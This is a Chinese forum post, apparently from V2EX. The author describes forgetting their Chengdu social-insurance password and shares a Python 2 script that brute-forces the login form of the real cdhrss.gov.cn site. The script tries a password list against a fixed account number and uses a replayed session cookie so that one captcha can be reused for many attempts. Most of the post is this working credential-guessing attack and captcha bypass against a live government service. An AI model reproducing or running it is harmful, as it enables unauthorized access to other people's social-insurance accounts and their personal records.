前一阵子想查询社保,结果忘记登录密码了.今天公司停电,又听同事说只要身份证就可以去社保局重置密码.于是我就兴冲冲地去了.结果在自助终端需要支付密码,在柜台需要社保卡.mmmp!
回到家里后就撸了这个程序
首先登录界面长这个样子
下面是表单重点
其中
代码 #coding: utf-8 import urllib2 import urllib from cookielib import CookieJar from time import sleep
opener = urllib2.build_opener()
opener.addheaders.append(("Cookie", "粘贴 cookie 至此"))
# 这里将网页上的数据弄过来
formdata = formdata = {"username": "022396919", "password1": "", "sfz": "", "checkCode": "336", "m": "null",
"state": "null", "redirect_uri": "http://insurance.cdhrss.gov.cn/GetTokenAction.do",
"response_type": "code", "client_id": "yhtest", "e": "null", "password": "13536415"}
# 这里填写你的密码列表
passwords = ["password1", "password2", "password3"]
for password in passwords:
formdata["password"] = password
data_encoded = urllib.urlencode(formdata)
response = opener.open( "http://jypt.cdhrss.gov.cn:8045/yhjypt/oauth/authorizeNoCaAction!getCode.do", data_encoded)
content = response.read()
print "登录失败,社保编码或查询密码有误!" in content, password
上面的判断是看是否这个查询密码错误是否出现在返回的数据中, 而这个红色箭头所指的地方就是查询密码没有出现错误, 所以就用这个False所对应的面去网站试试,结果当然是成功的了
其实验证码判断的依据是你用什么凭证去验证你的验证码,所以你的凭证在没有改变时,你用当前的凭证是可以进行多次验证同一个验证码的.如果你发现验证码有问题.那就打开调试,然后点击验证码图片,然后请求验证码图片,填写当前验证码并把当前请求里面的 Cookie 更新进代码即可.Over~
这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。
V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。
V2EX is a community of developers, designers and creative people.